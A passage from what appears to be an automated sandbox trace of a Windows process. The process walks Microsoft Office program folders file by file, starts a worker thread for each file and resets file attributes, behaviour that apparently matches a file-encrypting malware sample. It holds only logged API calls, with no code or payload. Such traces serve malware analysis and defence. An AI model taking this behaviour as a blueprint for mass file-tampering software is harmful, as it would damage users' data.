lpParameter=0x20508270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a40 [0127.968] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_F_COL.HXK", cAlternateFileName="INFOPA~3.HXK")) returned 1 [0127.968] wcscmp (_String1="INFOPATHEDITOR_F_COL.HXK", _String2=".") returned 1 [0127.968] wcscmp (_String1="INFOPATHEDITOR_F_COL.HXK", _String2="..") returned 1 [0127.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20508310 [0127.968] wcscpy (in: _Dest=0x20508310, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.968] wcscat (in: _Dest=0x20508310, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.968] wcscat (in: _Dest=0x20508310, _Source="INFOPATHEDITOR_F_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" [0127.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a44 [0127.970] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc29600, ftCreationTime.dwHighDateTime=0x1c59321, ftLastAccessTime.dwLowDateTime=0x1127d9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcc29600, ftLastWriteTime.dwHighDateTime=0x1c59321, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATHEDITOR_K_COL.HXK", cAlternateFileName="INFOPA~4.HXK")) returned 1 [0127.970] wcscmp (_String1="INFOPATHEDITOR_K_COL.HXK", _String2=".") returned 1 [0127.970] wcscmp (_String1="INFOPATHEDITOR_K_COL.HXK", _String2="..") returned 1 [0127.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205083b0 [0127.970] wcscpy (in: _Dest=0x205083b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0127.970] wcscat (in: _Dest=0x205083b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0127.970] wcscat (in: _Dest=0x205083b0, _Source="INFOPATHEDITOR_K_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" [0127.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205083b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a48 [0130.012] FindNextFileW (in: hFindFile=0x1cd9d550, lpFindFileData=0x1ce56cb0 | out: lpFindFileData=0x1ce56cb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH_COL.HXC", cAlternateFileName="INFOPA~1.HXC")) returned 1 [0130.012] wcscmp (_String1="INFOPATH_COL.HXC", _String2=".") returned 1 [0130.013] wcscmp (_String1="INFOPATH_COL.HXC", _String2="..") returned 1 [0130.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4b0b0 [0130.013] wcscpy (in: _Dest=0x1cf4b0b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0130.013] wcscat (in: _Dest=0x1cf4b0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0130.013] wcscat (in: _Dest=0x1cf4b0b0, _Source="INFOPATH_COL.HXC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" [0151.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) [0237.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC", dwFileAttributes=0x20) Thread: id = 367 os_tid = 0xeec [0089.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c1e90 [0089.741] wcscpy (in: _Dest=0x1b7c1e90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1036" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036" [0089.741] wcscat (in: _Dest=0x1b7c1e90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\" [0089.741] wcscat (in: _Dest=0x1b7c1e90, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*" [0089.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56f20 [0089.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d5b0 [0089.742] wcscmp (_String1=".", _String2=".") returned 0 [0089.742] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.742] wcscmp (_String1="..", _String2=".") returned 1 [0089.742] wcscmp (_String1="..", _String2="..") returned 0 [0089.742] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0089.742] wcscmp (_String1="MSO.ACL", _String2=".") returned 1 [0089.742] wcscmp (_String1="MSO.ACL", _String2="..") returned 1 [0089.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0089.742] wcscpy (in: _Dest=0x1b79df70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1036" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036" [0089.742] wcscat (in: _Dest=0x1b79df70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\" [0089.742] wcscat (in: _Dest=0x1b79df70, _Source="MSO.ACL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" [0120.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79df70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1858 [0120.249] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0120.249] FindClose (in: hFindFile=0x1cd9d5b0 | out: hFindFile=0x1cd9d5b0) returned 1 [0120.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56f20) returned 1 [0120.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e90) returned 1 [0120.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2520) returned 1 Thread: id = 368 os_tid = 0xef0 [0089.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c1e20 [0089.751] wcscpy (in: _Dest=0x1b7c1e20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\3082" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082" [0089.751] wcscat (in: _Dest=0x1b7c1e20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\" [0089.751] wcscat (in: _Dest=0x1b7c1e20, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*" [0089.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57190 [0089.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d610 [0089.752] wcscmp (_String1=".", _String2=".") returned 0 [0089.752] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.753] wcscmp (_String1="..", _String2=".") returned 1 [0089.753] wcscmp (_String1="..", _String2="..") returned 0 [0089.753] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0089.753] wcscmp (_String1="MSO.ACL", _String2=".") returned 1 [0089.753] wcscmp (_String1="MSO.ACL", _String2="..") returned 1 [0089.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79def0 [0089.753] wcscpy (in: _Dest=0x1b79def0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\3082" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082" [0089.753] wcscat (in: _Dest=0x1b79def0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\" [0089.753] wcscat (in: _Dest=0x1b79def0, _Source="MSO.ACL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" [0097.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79def0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe78 [0097.046] FindNextFileW (in: hFindFile=0x1cd9d610, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 0 [0097.046] FindClose (in: hFindFile=0x1cd9d610 | out: hFindFile=0x1cd9d610) returned 1 [0097.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57190) returned 1 [0097.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1e20) returned 1 [0097.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2590) returned 1 Thread: id = 369 os_tid = 0xef4 [0089.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79de70 [0089.754] wcscpy (in: _Dest=0x1b79de70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0089.754] wcscat (in: _Dest=0x1b79de70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0089.754] wcscat (in: _Dest=0x1b79de70, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*" [0089.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57400 [0089.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d670 [0089.756] wcscmp (_String1=".", _String2=".") returned 0 [0089.756] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.756] wcscmp (_String1="..", _String2=".") returned 1 [0089.756] wcscmp (_String1="..", _String2="..") returned 0 [0089.756] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a45600, ftCreationTime.dwHighDateTime=0x1c90da0, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a45600, ftLastWriteTime.dwHighDateTime=0x1c90da0, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLNTWRAP.HTM", cAlternateFileName="")) returned 1 [0089.756] wcscmp (_String1="CLNTWRAP.HTM", _String2=".") returned 1 [0089.756] wcscmp (_String1="CLNTWRAP.HTM", _String2="..") returned 1 [0089.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85bf40 [0089.756] wcscpy (in: _Dest=0x1b85bf40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0089.756] wcscat (in: _Dest=0x1b85bf40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0089.756] wcscat (in: _Dest=0x1b85bf40, _Source="CLNTWRAP.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" [0097.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bf40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0097.049] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e52d000, ftCreationTime.dwHighDateTime=0x1ca1017, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9e52d000, ftLastWriteTime.dwHighDateTime=0x1ca1017, nFileSizeHigh=0x0, nFileSizeLow=0x104cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPT2HTM4.XSL", cAlternateFileName="")) returned 1 [0097.049] wcscmp (_String1="RPT2HTM4.XSL", _String2=".") returned 1 [0097.049] wcscmp (_String1="RPT2HTM4.XSL", _String2="..") returned 1 [0097.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a4410 [0097.049] wcscpy (in: _Dest=0x202a4410, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0097.049] wcscat (in: _Dest=0x202a4410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0097.049] wcscat (in: _Dest=0x202a4410, _Source="RPT2HTM4.XSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" [0097.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea8 [0097.050] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 1 [0097.050] wcscmp (_String1="SERVWRAP.ASP", _String2=".") returned 1 [0097.050] wcscmp (_String1="SERVWRAP.ASP", _String2="..") returned 1 [0097.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a44a0 [0097.050] wcscpy (in: _Dest=0x202a44a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0097.050] wcscat (in: _Dest=0x202a44a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\" [0097.050] wcscat (in: _Dest=0x202a44a0, _Source="SERVWRAP.ASP" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" [0097.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a44a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1070 [0097.051] FindNextFileW (in: hFindFile=0x1cd9d670, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 0 [0097.051] FindClose (in: hFindFile=0x1cd9d670 | out: hFindFile=0x1cd9d670) returned 1 [0097.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57400) returned 1 [0097.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0097.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d670) returned 1 Thread: id = 370 os_tid = 0xef8 [0089.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e480 [0089.757] wcscpy (in: _Dest=0x1b86e480, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0089.757] wcscat (in: _Dest=0x1b86e480, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\" [0089.757] wcscat (in: _Dest=0x1b86e480, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*" [0089.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0089.757] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d6d0 [0089.760] wcscmp (_String1=".", _String2=".") returned 0 [0089.760] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.760] wcscmp (_String1="..", _String2=".") returned 1 [0089.760] wcscmp (_String1="..", _String2="..") returned 0 [0089.760] FindNextFileW (in: hFindFile=0x1cd9d6d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea11a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x5f6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="ACWZDA~1.ACC")) returned 1 [0089.760] wcscmp (_String1="ACWZDAT12.ACCDU", _String2=".") returned 1 [0089.760] wcscmp (_String1="ACWZDAT12.ACCDU", _String2="..") returned 1 [0089.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85be20 [0089.760] wcscpy (in: _Dest=0x1b85be20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0089.760] wcscat (in: _Dest=0x1b85be20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\") returned="C:\\Program 